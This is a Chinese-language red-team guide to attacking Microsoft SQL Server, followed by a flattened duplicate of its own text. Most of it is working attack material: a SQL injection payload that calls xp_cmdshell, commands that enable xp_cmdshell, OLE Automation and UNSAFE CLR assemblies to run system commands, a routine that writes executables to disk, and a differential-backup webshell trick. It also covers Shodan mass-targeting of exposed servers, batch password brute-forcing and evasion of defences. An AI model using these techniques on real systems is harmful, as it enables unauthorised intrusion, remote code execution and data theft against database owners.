红队必修课之针对MSSQL数据库攻击尝试
字数 1302 2025-08-07 00:35:01

MSSQL数据库攻击技术全面指南

0x00 前言

MSSQL数据库作为企业级数据库解决方案,在红队渗透测试中具有重要价值。本文全面梳理了针对MSSQL数据库的攻击技术,包括权限获取、命令执行、文件操作等关键技术点。

0x01 数据库权限获取方法

1.1 数据库口令枚举

工具推荐:

  1. fscan - 内网综合扫描工具

    • 支持主机探测、端口扫描、服务爆破
    • 项目地址:https://github.com/shadow1ng/fscan
  2. SNETCracker - Windows平台弱口令审计工具

    • 支持SSH/RDP/SMB/MySQL/SQLServer等多种服务
    • 特点:批量多线程检查、自定义端口和字典
    • 项目地址:https://github.com/shack2/SNETCracker

1.2 SQL注入漏洞利用

工具推荐:

  1. Xray - 安全评估工具

    • 可检测XSS、SQL注入、命令注入等漏洞
    • 支持POC框架扩展
    • 文档:https://docs.xray.cool/#/
  2. SQLMap - SQL注入专业工具

    • 自动化检测和利用SQL注入漏洞
    • 支持多种数据库渗透测试
    • 官网:http://sqlmap.org/

1.3 数据库管理工具

HeidiSQL - 多数据库管理工具

  • 支持MariaDB/MySQL/MSSQL/PostgreSQL/SQLite
  • 官网:https://www.heidisql.com/

0x02 实战攻击技术

2.1 SQL语句执行方法

方法一:SQL注入执行

CursoTextBox=1%';EXEC master.dbo.xp_cmdshell 'whoami';--

方法二:数据库管理工具

  1. SQL Server Management Studio - 官方管理工具
  2. NewOSql - 轻量级命令行工具
    • 项目地址:https://github.com/flight-tom/NewOSql
    • 示例命令:
      oSQL.exe -S 192.168.142.113 -U sa -P admin@123 -o .\logs.txt -i whoami.sql -d master -e .\excel.csv
      
  3. sqlcmd - 微软官方命令行工具
    • 需要安装ODBC Driver和sqlcmd Utility
    • 连接命令:
      sqlcmd -S 192.168.142.113 -U sa -P admin@123
      

2.2 文件操作技术

文件内容转16进制脚本

#!/usr/bin/env python
import binascii
import sys
import os

def str2hex(string):
    hexstr=binascii.b2a_hex(bytes(string, encoding='utf-8'))
    out = bytes("0x", encoding='utf-8')
    out = out + hexstr
    print(out)

def b2a(filename):
    with open(filename,'rb') as f:
        hexstr=binascii.b2a_hex(f.read())
        out = bytes("0x", encoding='utf-8')
        out = out + hexstr
        print(out)

if __name__=="__main__":
    filename = sys.argv[1]
    if os.path.exists(filename):
        b2a(filename)
    else:
        str2hex(filename)

场景一:差异备份获取webshell

  1. 创建数据库:
    create database vulntest;
    use vulntest;
    
  2. 备份数据库:
    backup database vulntest to disk = 'c:\ddd.bak'
    
  3. 创建表并插入内容:
    create table [dbo].[vulntest] ([cmd] [image]);
    insert into vulntest(cmd) values(0x56756c6e54657374);
    
  4. 差异备份:
    backup database vulntest to disk='c:\vuln.txt' WITH DIFFERENTIAL,FORMAT;
    

场景二:上传二进制文件

  1. 启用Ole Automation Procedures:
    sp_configure 'show advanced options', 1;
    RECONFIGURE;
    sp_configure 'Ole Automation Procedures', 1;
    RECONFIGURE;
    
  2. 写入文本文件:
    DECLARE @OLE INT
    DECLARE @FileID INT
    EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
    EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\info.txt', 8, 1
    EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, 'test'
    EXECUTE sp_OADestroy @FileID
    EXECUTE sp_OADestroy @OLE
    
  3. 写入二进制文件:
    DECLARE @ObjectToken INT
    EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
    EXEC sp_OASetProperty @ObjectToken, 'Type', 1
    EXEC sp_OAMethod @ObjectToken, 'Open'
    EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0xhex
    EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'c:\Test.exe', 2
    EXEC sp_OAMethod @ObjectToken, 'Close'
    EXEC sp_OADestroy @ObjectToken
    

2.3 系统命令执行技术

场景一:xp_cmdshell

  1. 检查状态:
    select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
    
  2. 开启xp_cmdshell:
    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    
  3. 执行命令:
    exec master..xp_cmdshell 'whoami'
    
  4. 恢复删除的xp_cmdshell:
    Exec master.dbo.sp_addextendedproc 'xp_cmdshell','C:\\Program Files (x86)\\Microsoft SQL Server\\MSSQL.1\\MSSQL\\Binn\\xplog70.dll';
    

场景二:SP_OACREATE

  1. 检查状态:
    select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
    
  2. 开启组件:
    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE WITH OVERRIDE;
    EXEC sp_configure 'Ole Automation Procedures', 1;
    RECONFIGURE WITH OVERRIDE;
    
  3. 执行命令:
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt'
    

场景三:CLR执行

  1. 创建C# CLR项目(VS2015+)
  2. 关键代码:
    using System;
    using System.Data;
    using System.Data.SqlClient;
    using System.Data.SqlTypes;
    using System.Diagnostics;
    using System.Text;
    using Microsoft.SqlServer.Server;
    
    public partial class StoredProcedures
    {
        [Microsoft.SqlServer.Server.SqlProcedure]
        public static void ExecCommand (string cmd)
        {
            SqlContext.Pipe.Send("Command is running, please wait.");
            SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
        }
        // 其余代码省略...
    }
    
  3. 数据库部署:
    sp_configure 'clr enabled', 1
    GO
    RECONFIGURE
    GO
    ALTER DATABASE master SET TRUSTWORTHY ON;
    CREATE ASSEMBLY [ExecCode] FROM 0x4D5A900003... WITH PERMISSION_SET = UNSAFE;
    CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [ExecCode].[StoredProcedures].[ExecCommand]
    
  4. 执行命令:
    exec dbo.ExecCommand "whoami";
    

2.4 外网目标发现与利用

2.4.1 Shodan搜索

shodan init shodanAPIKEY
shodan download --limit 1000000 mysql.txt product:"MS-SQL"

2.4.2 批量爆破工具

使用PortBrute进行批量爆破:

PortBruteWin.exe -f mssqlipport.txt -u user.txt -p pass.txt -t 100

2.4.3 绕过限制技巧

  1. 列目录:
    exec xp_subdirs 'C:';
    exec xp_dirtree 'c:',1,1
    
  2. 读取文件:
    create table cmd (a text);
    BULK INSERT cmd FROM 'c:/RlgwMCS.ini' WITH (FIELDTERMINATOR = 'n', ROWTERMINATOR = 'nn')
    select * from cmd
    

0x03 总结

本文详细介绍了针对MSSQL数据库的完整攻击链,从权限获取到系统命令执行,涵盖了多种实用技术和工具。在实际渗透测试中,需要根据目标环境选择合适的技术组合,并注意规避安全防护措施。

MSSQL数据库攻击技术全面指南 0x00 前言 MSSQL数据库作为企业级数据库解决方案,在红队渗透测试中具有重要价值。本文全面梳理了针对MSSQL数据库的攻击技术,包括权限获取、命令执行、文件操作等关键技术点。 0x01 数据库权限获取方法 1.1 数据库口令枚举 工具推荐: fscan - 内网综合扫描工具 支持主机探测、端口扫描、服务爆破 项目地址:https://github.com/shadow1ng/fscan SNETCracker - Windows平台弱口令审计工具 支持SSH/RDP/SMB/MySQL/SQLServer等多种服务 特点:批量多线程检查、自定义端口和字典 项目地址:https://github.com/shack2/SNETCracker 1.2 SQL注入漏洞利用 工具推荐: Xray - 安全评估工具 可检测XSS、SQL注入、命令注入等漏洞 支持POC框架扩展 文档:https://docs.xray.cool/#/ SQLMap - SQL注入专业工具 自动化检测和利用SQL注入漏洞 支持多种数据库渗透测试 官网:http://sqlmap.org/ 1.3 数据库管理工具 HeidiSQL - 多数据库管理工具 支持MariaDB/MySQL/MSSQL/PostgreSQL/SQLite 官网:https://www.heidisql.com/ 0x02 实战攻击技术 2.1 SQL语句执行方法 方法一:SQL注入执行 方法二:数据库管理工具 SQL Server Management Studio - 官方管理工具 NewOSql - 轻量级命令行工具 项目地址:https://github.com/flight-tom/NewOSql 示例命令: sqlcmd - 微软官方命令行工具 需要安装ODBC Driver和sqlcmd Utility 连接命令: 2.2 文件操作技术 文件内容转16进制脚本 场景一:差异备份获取webshell 创建数据库: 备份数据库: 创建表并插入内容: 差异备份: 场景二:上传二进制文件 启用Ole Automation Procedures: 写入文本文件: 写入二进制文件: 2.3 系统命令执行技术 场景一:xp_ cmdshell 检查状态: 开启xp_ cmdshell: 执行命令: 恢复删除的xp_ cmdshell: 场景二:SP_ OACREATE 检查状态: 开启组件: 执行命令: 场景三:CLR执行 创建C# CLR项目(VS2015+) 关键代码: 数据库部署: 执行命令: 2.4 外网目标发现与利用 2.4.1 Shodan搜索 2.4.2 批量爆破工具 使用PortBrute进行批量爆破: 2.4.3 绕过限制技巧 列目录: 读取文件: 0x03 总结 本文详细介绍了针对MSSQL数据库的完整攻击链,从权限获取到系统命令执行,涵盖了多种实用技术和工具。在实际渗透测试中,需要根据目标环境选择合适的技术组合,并注意规避安全防护措施。